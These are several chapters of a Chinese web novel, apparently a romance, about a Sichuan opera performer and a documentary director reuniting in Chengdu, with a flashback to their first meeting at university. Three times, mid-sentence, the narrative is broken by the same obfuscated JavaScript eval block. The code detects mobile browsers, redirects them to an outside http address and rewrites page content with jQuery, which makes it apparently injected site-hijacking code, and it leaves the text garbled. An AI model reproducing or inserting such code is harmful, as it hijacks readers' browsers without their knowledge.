他想起去年那场闹剧,某卫视的综艺节目说是宣传川剧,要川剧院配合上个综艺,结果把川剧脸谱拍成了恐怖特效,明星把非遗文化当作乐子,网友骂声一片。 还有上个月那个网红团队,硬要在变脸表演里加电音舞蹈,最后被老戏骨们联名抵制。 创新文化可以,魔改非遗文化是坚决不能的。因此每次合作都像在悬崖峭壁攀升,既要迎合新潮,又怕丢了根本。 王主任搓着手里皱巴巴的节目单,最终狠狠叹了口气,他的目光扫过医务室窗外的排练场。 几个年轻演员正在练功,汗水浸透了戏服。 他忽然想起昨天路过商场,乌泱泱的小姑娘们举着灯牌等偶像,那阵仗,跟当年戏班子进城演出时,老百姓追着看名角儿的场景倒有几分相似。 只是现在年轻人追的,都是电视里那些唱跳的小年轻了。 王主任把节目单对折又展开,票根上“30元”的字样已经有些模糊。这价钱,还不够那些小偶像演唱会最外围看台的零头呢。 李霄川盯着墙上斑驳的水渍,轻声道:“要是连我们都觉得没人看了,那这门手艺就真要进博物馆了。” 医务室里一时寂静,王主任张了张嘴,最终噎得一句话没说出话来。 可他们这些老艺人能怎么办?老祖宗传下来的手艺,总不能真断在他们这代人手里。 要是连他们都放弃了,这些唱念做打的功夫,这些精妙的脸谱绝活,怕是真要永远消失在历史里了。 玻璃窗映出李霄川的侧脸,他盯着自己染血的绷带,轻声道:“我只相信他,只有他知道我要什么。” 这句话听起来好像没什么大不了的,实则犹如晴天霹雳似的,一下子就打到了陈声和的心坎上。 他靠在走廊的墙边,想起一个雨夜,李霄川也是用这样的语气说:“你走了,就再没人懂我的戏了。” 当时他只当是情话,现在才明白其中的分量。 李霄川被医生强行按在医务室挂水,吊瓶里的透明液体缓慢地滴落。 王主任批评的话说了几句,又转过来安慰了几句,红脸白脸全唱完了。见李霄川还是那副不发一言的样子,最终也只能叹着气走了。 窗外暮色渐沉。 李霄川独自在病房输液。他后脑抵着冰冷的墙壁,仰头合眼,脑海里却挥不去刚才陈声和看到伤口时,那张瞬间褪尽血色的脸。 8. 全剧组都觉得我们不合 晚饭后没多久,走廊传来轻轻的脚步声,接着病房门被推开了。 陈声和走进来的时候,李霄川正用左手费劲地撕着药盒包装。止痛药卡在铝箔板里,他咬着牙一用力,手背上的针头都鼓起来了。 “我来。” 陈声和快步走到床边,伸手接过那个被捏得皱巴巴的药盒。微凉的手指擦过李霄川的手背,又很快移开了。 李霄川松开手,目光落在面前这个人身上,熟悉,又有点陌生。 陈声和的头发比以前长了不少,发尾软软地搭在脖子后面,有时候他会随手扎个小揪,有时候就像现在这样散着。 此刻随着他低头拆药的动作,几缕碎发扫过白衬衫的领口。 这么多年没见,这人好像没怎么变。侧脸还是清清瘦瘦的,眼睛微微下垂,看起来一点没老。 但又好像哪里都变了。眼角添了些倦色,以前总爱笑的嘴角,现在也抿得安静了。 李霄川的视线不知不觉就跟着他耳边那缕稍长的头发走,发丝随着动作轻轻晃着,像条墨色的小鱼在水里摆尾。 这长度恰到好处,既不像刻意留长,又比从前的短发多了几分随意。 李霄川忽然走神,想起大学那会儿,陈声和总吐槽成都天气太潮,头发长得飞快,每个月都得去校门口理发店报到。 小广仔那时候还挺臭美,剪完回来总要对着窗户玻璃照半天。偶尔剪得不满意,能闷闷不乐一整天,但又不好意思回去找人家理论。 “算了算了,”他总这样自我安慰,“反正过俩星期又长出来了。理发师也不容易,况且都熟了,不好意思说。” 后来两人在一起之后,李霄川就自己学着理发。没真人可练,就拿自己头发或者买假发模子折腾,再亲手给他剪出想要的发型。 可现在陈声和却任由头发这么长着,好像连这点曾经的执着,也都成了能随手放下的旧事了。 那些曾经在意的小细节,那些能让他不高兴一整天的“小事”,现在好像都无所谓了。 李霄川看着那缕轻轻晃动的发梢,心里忽然像被什么轻轻拽了一下。 “还记得我们第一次吵架吗?” 陈声和正在掰药片的手微微一顿。铝箔纸轻响了一声。 怎么会不记得。大二那年他拍期末作业连熬三个通宵,最后胃出血进了医院。 李霄川知道后,直接从绵阳的演出后台冲回来,摔了他那台二手摄像机,红着眼骂他不要命。 病床边的监护仪滴滴地响,陈声和记得自己当时虚弱地笑了笑,说:“死了不是正好,给你练哭戏。” “现在轮到我说这句了。”李霄川攥紧了身下的床单,手背青筋绷了起来,“陈声和,我的死活……你别管了。” 陈声和盯着那道横贯旧疤的新伤口,突然抓起碘伏棉签,猛地按了上去。碘伏渗进翻开的皮肉里,激得李霄川肩膀一缩,牙缝里漏出“嘶”的一声抽气。 “那你为什么还要救我?” 李霄川缓过那阵尖锐的疼,倒吸的那口凉气才慢慢吐出来。他仰头看向天花板上那道裂缝,扯出个自嘲的笑。 “因为我是疯子啊,疯到以为再伤一次,就能换你多留几天。” 陈声和缓缓抬起眼。灯光下,他才真真切切地看清,李霄川眼角不知什么时候已经爬满了细纹。 想起五年前在练功房,这位可是能一口气连翻二十个跟头的武生,衣角带起来的风都热烘烘的,满是劲。 可现在呢? 哪还有半点当初那样子。连垂下来的睫毛,都沾着洗不掉的倦。 陈声和没说话,默默拿起纱布,重新一圈圈裹上去,手上力道悄悄轻了不少。 “《送京娘》……我拍完再走。” 李霄川觉得掌心发烫。他几乎用尽全身力气,才克制住自己没有去碰触那节近在咫尺的手腕。 消毒水刺鼻的气味里,一缕熟悉的、淡淡茶香钻进鼻腔,是陈声和一直用的那个香水牌子,这么多年,都没换。 所有翻腾的情绪冲到喉咙口,最后只碾出一个字。 “……好。” 声音沙哑得,连他自己都陌生。 …… 成都的雨总是来得随性,像是不打招呼就闯进别人家的邻居。 陈声和站在非遗博览馆的灰瓦屋檐下,空气里湿漉漉的青草气混着后台飘来的脂粉味,一个劲儿往鼻子里钻。 他抬头看了看天,云压得低低的,远处传来闷闷的雷声,听着像谁在天上推着个大木箱子,咕噜咕噜的。 “陈导!”林瑶小跑着过来,头发丝儿上挂着小水珠,手里捧着杯热茶,“气象台又发预警了,这雨估计得下到傍晚……外景可能得往后推。” 陈声和接过茶杯,茉莉花的香气扑鼻而来,冲得很。他有点不习惯,这香太直接了,不像他老家的凤凰单丛。单丛的兰花香是幽的,得在舌尖上绕个弯儿才慢慢出来,那才叫含蓄。 “再等半小时,”他抿了一口,茶水流过舌尖,苦味慢慢在嘴里化开,“要是雨还不停,就改拍后台化妆和道具。” 林瑶点点头,忽然有点支支吾吾:“对了陈导,李老师刚才过来问……要不要用他们剧团备的油纸伞?”她用手比划了一下,“说是挺上镜的。” 陈声和捏着杯沿的手指顿了一下。 “……李霄川?” “嗯,他特意过来问的。”林瑶压低声音,“不过我觉得那伞太花了,跟咱们片子风格不太搭……” 陈声和的目光越过她的肩膀。 几十米外的入口处,李霄川正侧身和人说话。他穿着月白色的戏服中衣,袖子挽到手肘,露出的手腕上横着的一些浅色的疤。 雨前的天色暗暗的,反倒让那道疤看起来更清晰了。 没等他想下去,雨点突然噼里啪啦砸下来,在地上溅起一朵朵水花。 陈声和收回视线,声音低低的:“不用了,器材车里有黑胶伞。” 林瑶“哦”了一声,转身要走,却又被叫住。 “……等等,”陈声和顿了顿,“你去跟他道个谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004125|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 林瑶眨眨眼:“陈导,你不自己去说呀?” 陈声和低头看着杯子里泡得发黄的茉莉花,又喝了一口。茶已经凉了,苦味更重。 “不了。” 雨越下越大,拍摄计划只好临时调整。团队转战室内,补拍川剧头饰的特写镜头。 陈声和盯着监视器,余光却瞥见门边晃过一个人影。李霄川倚在门框上,手里转着一把竹骨油纸伞,目光时不时往这边扫。 他装作没看见,专心调着构图。 “陈导,这条过了吗?”摄影师揉着发酸的肩膀问道。 陈声和目光还粘在取景框上,声音故意放得平平稳稳:“再保一条。侧光有点硬,不够润。” 摄影师小声嘀咕:“这头饰都快被咱拍出花来了……第六条了啊……” 陈声和没有解释。 雨点敲在玻璃屋顶上,滴滴答答,像好多小手指在轻轻敲门。 他不想出去,更不想在雨里碰上李霄川。可偏偏这时候,非遗办的王主任搓着手笑呵呵地过来了。 “陈导,拍得还顺利吧?”王主任一脸热络地凑到监视器旁边,“晚上蜀韵楼,咱们安排了个饭局,您和李老师两位主角可得赏脸啊!正好也聊聊后面合作的事儿!” 陈声和手指一停,喉结动了动,才发出有点干的声音:“……饭局?” “就是!您来成都这几天光忙工作了,必须得尝尝咱们地道的川菜!”王主任好像没察觉他不对劲,还乐呵呵地拍拍他的肩,“李老师那边已经答应啦!陈导,您可不能驳我面子呀!” 陈声和望着窗外被雨水糊成一片的景色,沉默了好一会儿,直到王主任笑容有点挂不住了,才点了点头:“……行。” “太好了!那就这么说定啦!”王主任心满意足,皮鞋嗒嗒嗒地踩着水泥地走远了。 陈声和站在原地,只觉得那脚步声像小锤子,一下一下敲在他绷紧的神经上。 他大概能猜到这顿饭是为什么。 前两天在道具库,他和李霄川那场算不上吵架的争执,大概还是落进了有心人眼里。这是怕他心里记恨,回头在纪录片里下剪刀,把某些人的镜头“一剪没”了。 至于让李霄川亲自来给他说好话? 那不可能。那个人从来就不会主动讨好谁,除了……除了陈声和以外的人。 可眼下自己明显在躲着他,李霄川更不可能主动来叫他吃饭。 况且,在外人看来,他们俩,一个整天臭着脸,一个连话都不愿意说,简直是互相看不顺眼的典范。 晚场拍摄的间隙,陈声和在洗手间多待了一会儿。他掬了捧冷水拍在脸上,镜子里的人眼下依旧显着淡淡的青。 从早上开始胃里就隐隐不舒服,不知道是成都这忽晴忽雨的天气闹的,还是昨晚那碗红油抄手给的教训。 “陈导?”林瑶的敲门声混着场馆广播的回音飘进来,“组委会催咱们去观众席啦。” “马上来。”他扯了张纸巾擦干手,指尖却轻轻发着抖。 9. 伞:没想到吧,又是我 剧场里的灯光已经调暗了,VIP区的座位正对着舞台中央。陈声和落座时,观众席上窸窸窣窣的交谈声渐渐平息。 随着一声锣响,猩红色的大幕缓缓拉开。先是龙套演员的热场,刀马旦们翻着跟头,把舞台搅得尘土飞扬。 直到鼓点骤然转急,全场灯光倏地聚焦在舞台中央。 陈声和的背脊下意识绷直了。李霄川踩着鼓点亮相时,他甚至忘记了呼吸。 这版《白蛇传》里的许仙颠覆了传统形象,一身利落的靛蓝色短打,一个鹞子翻身接变脸,台下顿时爆发出雷鸣的喝彩声。 “这是李老师的创新编排。”旁边挂着工作证的老先生热心地解说,“把武生的功夫融进了文戏里。” 陈声和没有搭话。他的目光死死锁住台上那个身影,五年时光把那个在练功房里挥汗如雨的少年打磨得更加耀眼了。 每个腾跃都干净利落,每个亮相都恰到好处的让人挪不开眼睛。但当李霄川背对观众时,他敏锐地注意到那个左肩转动的角度有些微妙的凝滞。 “接下来是经典桥段断桥相会。”老先生还在尽职地解说。 白素贞凄婉的唱腔响起:“官人哪……” 李霄川饰演的许仙猛然转身,脸谱已经变成惊惶的蓝色。 就在这一瞬间,他的目光穿透刺眼的舞台灯光,笔直地刺向VIP区。陈声和攥紧了扶手,这个眼神……仿佛和五年前机场分别时重叠了。 “按老戏路,这会儿许仙该跪下了……”老先生的话被一声提高的鼓点声打断。 台上的李霄川在一个旋转后明显踉跄了一下,虽然很快稳住身形,弥补了一个自然动作。 “肩伤犯了。”陈声和脱口而出。 “嗯?”林瑶疑惑地转头,“陈导说什么?” “没什么。”他强迫自己移开视线,“3号机注意抓拍面部特写。” 演出结束后的媒体采访区挤满了人,这是最近省电视台为了配合纪录片要做的采访。 陈声和站在团队最后方,借着调试设备的机会与人群保持着安全距离。 换回常服的李霄川站在聚光灯下,白衬衫的袖口挽到手肘,露出线条分明的小臂。 有记者问起改编灵感时,他嘴角扬起一个好看的弧度:“大学时有位朋友总说传统戏太闷了。” 陈声和听着,又默默往阴影里退了半步,却不料这个细微的动作立刻被人捕捉到了。 李霄川的目光掠过层层人群,在他身上停留了短暂的一瞬,又若无其事地继续:“所以我想证明,老戏也能演出新意。” 采访结束时,窗外的雨下得更急了,噼里啪啦敲在玻璃上,听得人心烦。 陈声和还在那儿磨蹭,假装理理设备,又低头看看回放,其实什么都看不进去。直到一阵熟悉的木质香飘过来,他一抬头,李霄川已经站在面前了,手里握着把伞。 “雨太大了。”李霄川声音压得低低的,“我送你过去。” 陈声和怔在原地,走廊的雨水飘过来,顺着他的发梢滴在衬衫领口,凉的缩了缩脖子。 他的视线落在李霄川手里拿着伞上,是一把蓝格子伞。 那伞就横在他们之间,伞骨上仿佛还留着五年前那场大雨留下的轻微锈迹。 李霄川的手指扣在伞柄上,指节那儿有道新伤,估计是下午排练不小心碰的。 “拿着。”李霄川把伞往前递了半寸,伞面晃动时,如果陈声和没记错,那伞柄内侧肯定还有个东西。 他的喉咙有些发紧。 这伞……李霄川居然还留着。 他想说“不用”,可李霄川已经将伞撑开,伞面啪的应声弹开时,几滴水珠溅在陈声和的手背上。 “走吧。”李霄川说这话时别过脸,下巴绷得紧紧的。 两人一前一后走进雨幕中。 这把蓝格子伞本来就不大,当年挤两个人都勉强,现在两个大男人更是不得不紧挨着。 陈声和能闻到了李霄川身上熟悉的跌打药酒味,掺杂着雨水的清新。 以前谈恋爱那会儿,他们也常这样。 李霄川一手撑伞,一手搂着他的肩,背上还挎着他的书包,两个人挤在伞下,从学校一路走回租的小屋。 那时候总觉得路太短,还没说够话就到了。 现在却觉得,这段路怎么这么长。 …… 蜀韵楼的灯光透过雕花木窗,在积水里投下晃动的光斑,像撒了一地的铂金碎片。 包厢里已经坐了大半的人,红木转盘上摆着精致的冷盘,中间的假山还咕嘟咕嘟冒着水雾。音响里放着恰到好处的古筝曲,叮叮咚咚的,听的人心情舒畅了不少。 陈声和刚在靠门的位置坐下,椅子还没捂热呢,就听见门口传来一阵骚动。 李霄川扶着一位银发老者走了进来。老人拄着手杖,实木杖尖在地板上敲出规律的笃笃声,不紧不慢,却让整个包厢都安静了下来。 经过他们这桌时,老人突然停下,眯着眼打量陈声和:“这位就是你说的啷个……” “华央的陈导演。”李霄川截住话头,“您坐主桌。” “宋老好。”陈声和起身微微鞠躬。 这是川剧老角,也是李霄川的师父,更是老人家唯一的一个关门弟子。 李霄川的右手不着痕迹地托住老人的肘部。陈声和看见他扶人的那只手背青筋凸起,这个姿势会让肩伤更疼。 等李霄川去安排主桌座位,坐在陈声和旁边的年轻演员张图凑过来:“李老师下午排练时摔了,那个下旋子他非要连着做二十个。” 年轻人压低声音,故意说的惨了点,就是想讨好一下这个不太爱笑的导演:“团医说韧带可能撕裂了,但他不肯去医院。” 陈声和脱口而出:“他的伤……一直没治好?” 话一出口他就后悔了,怕被看出端倪,抿了抿嘴唇。 张图却像找到倾诉对象似的:“没好,他一直都不好好休息。去年巡演摔下台那次,打了封闭针接着演的。” 他往这边凑了凑:“陈导,听说你们是大学校友?应该也了解,其实师兄人挺好的,脾气是臭点,对我们这些师兄姊妹们很关照,您能……” “张图, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004126|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”李霄川的声音从身后传来,冷得像三九天的青城山雪水,“去帮宋老师盛汤。” 年轻人缩了缩脖子溜走了。李霄川在陈声和对面拉开凳子坐下,右手再次出于本能按了下左肩。 王主任兴致勃勃地介绍着每一道菜,而陈声和只是低头,用筷子轻轻拨弄着碗里的米饭。 “这道夫妻肺片可是这儿的招牌!”主任热情地转着转盘,“陈导,您尝一哈!” 陈声和夹起一片薄如蝉翼的牛肉,刚入口就被花椒麻得舌尖发木。他强忍着咽下去,灌了半杯茶水才压下喉间的灼烧感。 对面传来一声轻笑。 陈声和抬头,看见李霄川唇角还残留着来不及收起的弧度。男人用纸巾慢条斯理地擦着手指:“陈导这吃辣水平,倒是和大学时一样。” 陈声和抿了抿唇,没接他话。 王主任的筷子停在半空:“哎?李老师认识陈导?”那语气动作,装的倒是真像不知道。 包厢里的谈笑声突然低了几分。 李霄川拿起茶壶给王主任添水,热气模糊了他的表情:“嗯,大学校友。” “这么巧!”王主任的嗓门让整个包厢都听得见,“那你们可得好好喝一杯,叙叙旧了!” 陈声和握紧了筷子,倒不是生气这一唱一和的戏码。 叙旧? 他们之间有什么旧可叙? 是叙当年李霄川在雨里追着他问“能不能别走”,还是叙他头也不回地上了飞机,连最后一个体面的拥抱都没有给? 他的筷子尖刮过那盘夫妻肺片,一片薄薄的牛肉滑落在雪白的餐布上,红油慢慢洇开,碍眼的很。 李霄川的目光落在那片污渍上,又说:“陈导拍的纪录片,反响不错?” 陈声和抬起眼睛:“……还行,不错。” 李霄川用筷子拨弄着碗里的花椒,随后夹起来吃了下去:“那陈导拍过潮剧吗?” 陈声和顿了顿,视线落在茶杯上:“拍过一点。” “那下次可以拍拍川剧和潮剧的对比。”李霄川的语气很淡,“反正都是要消失的东西。” 陈声和喉结滚了滚,话卡在嗓子眼里,到底没说出来。 饭桌上的王主任似乎没察觉异样,还在热络地搭话:“李老师可是我们川剧院的台柱子,多少姑娘想嫁呢!” 这话头又拐到结婚上了。李霄川扯着嘴角笑了笑,也没接茬。 陈声和听着他们你一言我一语的,突然觉得胃里拧着劲儿地难受。他放下筷子,微微起身:“你们先吃,我去趟洗手间。” 洗手间的灯光白惨惨的,照得人脸色发青。 陈声和拧开水龙头,双手接了一捧冷水直接拍在脸上。水珠顺着下巴颏往下淌,领口湿了一小片。 他抬头看着镜子里那张滴着水珠的脸,突然觉得有点陌生:这真是他自己的脸吗? 来之前他以为自己早就调整好了,在飞机上还一遍遍排练见面时要怎么笑才自然。 结果呢? 李霄川就只是给他撑了把伞,他那些心理建设就跟纸糊的似的,哗啦全塌了。 10. 雨没停伞没变,我们呢? 身后传来熟悉的脚步声。 陈声和没有回头,但镜子里已经映出那个人的身影。李霄川靠在门框上,指间夹着一根没点燃的烟,烟嘴被捏得微微变形。 “你胃不好,别空腹喝酒。”他的声音比记忆中低沉了些。 陈声和的呼吸开始变得轻浅,喉结在阴影处不明显地上下滚动:“……你还记得。” 李霄川没接这话,径直走过来从兜里摸出包纸巾递过去。陈声和去接的时候,手指不小心擦过对方的手背,跟触电似的猛地缩了回来。 “那把伞……”他盯着纸巾包装上的印花,“你还留着。” 李霄川沉默了片刻,烟草在他指间转了个圈:“是啊,我这人毛病,旧东西舍不得扔。” 话说得轻如鸿毛,可落到陈声和耳朵里,就跟刀子刺肉似的,一下一下往心窝子里剜。 陈声和攥紧了那包纸巾,声音低得像蚊子似的:“……为什么答应拍这个纪录片?” 李霄川的目光落在他发红的指节上,又慢慢移到他脸上。 “你呢?”他反问,声音里带着克制的沙哑,“为什么接?” 陈声和的舌尖抵着上颚,尝到了铁锈味,他发现自己依然无法对李霄川说谎。 沉默在两人之间蔓延,洗手间的灯光将他们的影子投在瓷砖地上,近在咫尺却始终隔着一道看不见的线。 最终李霄川直起身,将那根被揉皱的烟扔进垃圾桶。 “回去吧,”他的声音已经恢复平静,“主任该着急了。” 陈声和站在原地,听着那双熟悉的脚步声渐渐远去,在空旷的走廊里回荡成五年前机场告别的余音。 他的喉结微动,那句“因为想来见你”终是未能出口。 …… 饭局散场时已近深夜,窗外灰蒙蒙的天空中雨丝斜斜地切过屋檐,在地面上溅起细小的水花。天气预报说这场雨要持续到明天,具体准不准谁知道呢。 摄制组的同事都叫代驾走了,就剩陈声和,借口说要补几个空镜头,留了下来。 摄像机老老实实躺在他脚边,连防尘盖都没打开。 陈声和低头看了看手背,那儿有条细长的红印子。下午在后台,化妆师急着走,被线绊了一下,他伸手去扶,结果人家手里的勾脸笔唰一下划过他手背,留下这么一道。 “陈导还没走?” 身后传来的声音让他的肩膀条件反射地绷紧。转身时,李霄川就站在霓虹灯牌下,光一半暗一半打在他身上,手里握着把眼熟的折叠伞。 “等车呢。”陈声和自己都没想到,声音能这么平静,好像中间隔着的那五年,不过是某个普通的工作日。 李霄川点点头,目光在他手背上轻轻扫过:“这个点儿可不好打车。” “嗯。” 沉默在雨声中继续发酵。 陈声和的视线落到李霄川脚上,还是那双老式圆头布鞋,鞋面绣着暗纹云头,川剧武生练功常穿的那种。 恍惚间,他突然想起大学时自己总嫌弃这鞋土气,李霄川就故意用鞋尖去蹭他的球鞋,在雪白的球鞋上留下一串灰色的印记。 “你……” “你……” 两人同时开口,又同时停住。李霄川抬了抬下巴,让他先说。 “你最近,”陈声和顿了顿,“一直在川剧院?” “嗯,”李霄川用伞尖划拉着地上的积水,“去年刚升了主演。” “恭喜。” 雨势忽然变大,水幕将两人笼在方寸之地。 陈声和注意到李霄川左手虎口多了道疤,像是被什么划的。他想问怎么弄的,话到嘴边却变成:“伞挺好看的。” “……”李霄川低头看了看手里的伞,忽然笑了,“以前你可不是这么说的,总嫌它丑。” 记忆猛地鲜活起来。 这是他们第一次一起撑的伞,蓝格子,边都脱线了,还特小,两人挤着总淋湿一边。 陈声和当初想扔了换把大的,李霄川非不让,说这伞有复古美。 “现在看……还行。”陈声和轻声说。 李霄川的眼神闪过一抹落寂,手指摸了摸伞骨接缝处,那里有个模糊的记号,是陈声和当年留下的。 “陈声和。”李霄川忽然连名带姓叫他,雨水顺着他鬓角滑下来,“这些年,你过得怎么样?” 雨声在耳边越来越响。陈声和觉得喉咙像被什么堵住了,咽不下也吐不出。 “挺好的。”他盯着李霄川被雨打湿的肩膀,手里攥紧了相机背带,“你呢?” “还行。”李霄川笑了笑,“就是老毛病总是犯。” 这话软软地扎过来,像仙人掌上那种看不见的小刺,刚碰着不觉得,过后才隐隐作痛。 大学时李霄川就无辣不欢,经常吃到胃疼,然后可怜巴巴跑来他宿舍,非要他给煮白粥。 “……少吃点辣的。”陈声和低声说。 李霄川的目光钉在他的身上,好似挪不开视线,随后上前一步,将伞塞进他手里:“拿着吧。” “那你……” “我住得近,”李霄川已经退进雨里,水珠瞬间爬满他头发,“走回去就行。” 陈声和看着雨在那人睫毛上凝成细碎的水光,脚却像被钉住了,一步也迈不出去。 “李霄川。”他喊住那个快要消失在雨里的背影,伞柄上还留着对方的温度,“……谢谢。” 背影顿了顿,没有回头,只是举起手挥了挥。 雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004127|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水糊了视线。陈声和站在原地,直到那个身影彻底融进夜色,才发觉手心被伞骨硌得发红。 他慢慢撑开伞。 咔嗒一声,伞骨弹开的声音还是那么熟悉。内侧靠近手柄的地方,果然有一行褪色的小字:SH。 …… 回到酒店房间,陈声和把伞一根根收好。水珠顺着皱巴巴的伞面滑下来,在木头桌面上聚成一小滩。 他盯着那滩水看了好久,直到手机突然响起来。 “陈导?”林瑶的声音夹着电流声,“拍摄计划发您邮箱了,取景地临时改到人民公园的川剧茶座。” “好。”他应着,眼睛还黏在桌上那摊渐渐化开的水迹上。 电话那头传来翻纸的窸窣声。 “还有……李老师那边,”林瑶的语速忽然慢下来,“他明早要去省台录节目,下午才能到拍摄现场。” 陈声和拇指摩挲着伞柄上褪色的痕迹,喉结滚了两下才出声:“按原计划先拍空镜,等他。” 挂了电话,一股湿漉漉的风从窗缝挤进来。他走到窗边,才发现雨不知什么时候转成了毛毛雨,整座城市的灯光在玻璃上晕成一片,像被水泡花的老照片。 就在这时候,手机突然又在手心里震了一下。 大学同学群蹦出来一条新消息,最上面是张新闻截图,是前阵子非遗文化节的报道。照片里他和李霄川明明隔了两排人,却因为拍摄角度显得像在隔空对望。 群里已经炸开了锅: “考古系同学发来贺电!” “五年了吧?第一次看到他们一起出现。” “这算世纪同框了吧?” “听说当年……” 陈声和没往下翻,手指比脑子快,直接退了出来。 可手指头好像有自己的想法,不知不觉就在搜索框里敲出了那串数字,没存过的号码,但键盘好像记得每个按键的位置。 搜索结果跳出来的头像,让他心口一紧:还是那个画着半边脸谱的卡通人,怀里抱着个红辣椒,和五年前一模一样。 这是他当年……亲手给李霄川画的。 点进朋友圈,陌生人可见十条。 最新一条是三小时前发的,照片里是把蓝格子伞,斜靠在剧团化妆间的椅子上,金属伞尖在灯下反着光。 配文就四个字:物归原主。 陈声和把照片放大了看,突然发现化妆镜里映出了李霄川的侧影,那人正低头看着手机,嘴角挂着一摸淡淡的笑。 屏幕暗下去的时候,窗外的霓虹灯正好映在天花板上,投下一小片晃动的光斑。 远处传来夜市收摊的推车声,铁轱辘轧过湿漉漉的路面,咯噔咯噔的,像台老掉牙的胶片放映机,还在慢慢地转。 11. 迷路的小广仔 成都秋天那个空气里,又潮又润,桂花香一阵阵飘过来,里头还混着路边摊的辣椒油味道,惹得刚来的陈声和打了个大喷嚏。 他攥着那张被汗浸得发软的地图站在校门口,额角的汗珠顺着太阳穴滑到下巴。潮汕的湿热他习以为常,但成都这种闷在蒸笼里的感觉还是让他浑身不自在。 “同学,麻烦问下,影视编导系报到处怎么走?”他拦住长发披肩的女生,特意放慢语速,生怕自己的潮汕口音让人听不懂。 女生特热情,手舞足蹈地给他指,川音软绵绵的像在唱歌:“前面左转,看到图书馆再右拐,然后一直走……” 陈声和连忙道谢,拖着箱子往前走。结果没走几步,就愣在那儿了。 左拐? 右拐? 哪个前头来着? 他看着眼前蜘蛛网一样的小路,耳边飘过一堆四川话,只听懂几个词:拐咯、要得、吃啥子哦……剩下全是懵的。 校园里人来人往,拖箱子的新生、举牌的学长姐,吵吵闹闹的声音像青蛙开会,呱呱呱个不停。 他感觉自己像片孤单的叶子,在水里打转转。 叹了口气,决定靠自己摸索。 十分钟后,他彻底迷路了。 陈声和站在一栋红砖老楼,楼前摆了几张桌子,拉着“戏曲社团招新”的横幅。几个穿戏服的学生正在上头表演,锣鼓声、唱戏声、叫好声混成一片,热闹得很。 陈声和本想转身离开,却忽然被舞台上的身影吸引。 有个高高瘦瘦的男生,一个鹞子翻身,红黑戏服哗地掀起来,像蝴蝶似的。接着他“唰”一下展开折扇,脸谱就从蓝的变成了白的,快得陈声和眨了三次眼,才敢相信不是自己眼花。 变脸! 他眼睛一下子睁圆了,下意识去摸胸前的相机,结果发现镜头糊了一层水汽……好嘛,成都这天气,连相机都给闷出汗了。 陈声和以前只在电视上看过变脸,总觉得像魔术,隔着一层屏幕。眼前这男生的动作却特别流畅,转身、挥袖、抬手,每个动作都干净利落,衣服带起小小的风。 最后一变,定格在一张红脸关公,眉眼凛凛的,气势逼人。 台下掌声雷动,男生抱拳谢幕,却在抬眼时,目光不经意扫过人群,和不远处的陈声和视线撞了个正着。 就那么一瞬间,关公的威严一下子没了,男生嘴角一弯,朝他露出一个特别清爽的笑。 “……?” 陈声和感觉胸口咚咚咚跳了好几下,心里默默念:成都这天儿,果然热得人心跳都不对啦! 表演散场,人慢慢少了。陈声和还站在原地,正犹豫要不要再去问路,却看见那个变脸的男生已经跳下台,朝他走了过来。 “同学,你是不是走错地方咯?”男生开口,普通话里带着柔软的四川味儿,尾音轻轻上扬,像在哼歌似的。 阳光从梧桐叶缝里漏下来,正好落在他眼角。陈声和这才看清,他眼尾缀着一颗小小的泪痣。 耳朵不知怎么忽然有点发烫。 陈声和在心底嘀咕了一句“这什么鬼天气”,手指却悄悄攥紧了相机带子:“我……我好像找不到编导系的报到处了。” “哈!”男生笑出一口白牙,“那你可走反啦,那边儿是艺术学院,这边是老校区。”他歪着头打量陈声和,“新生?听口音不是本地人?” “唔,广东,潮汕来的。” “哦~潮汕啊!”男生眼睛一下子亮了,目光落在陈声和相机包上贴着的方言贴纸。 他清了清嗓子,突然蹦出一句:“雷猴啊!”声调古怪得像在唱戏。 陈声和“扑哧”笑出声,又赶紧抿住嘴。 “怎么样?标准不?”男生得意地挑眉,眼角那颗泪痣也跟着扬了扬。 “挺……挺有地方特色的。”陈声和努力忍住笑。 男生爽朗的笑声惊飞了树梢上的鸟。他伸出手:“李霄川,大三的,戏曲社混日子。” “陈声和。”他握住对方的手,掌心温热干燥,虎口处有层薄茧,大概是常年练功留下的。 “走,带你去报到。”李霄川已经自来熟地拎起他的行李箱,“你们广东人是不是都路痴啊?上周还有个深圳的学弟,在二食堂转了十五分钟,最后是保洁阿姨给领出来的。” 这话说得夸张,可陈声和听着却忍不住笑了。 他跟着李霄川穿过林荫道,忍不住回头看了眼已经拆到一半的舞台:“你刚才那个变脸……到底怎么变的啊?” 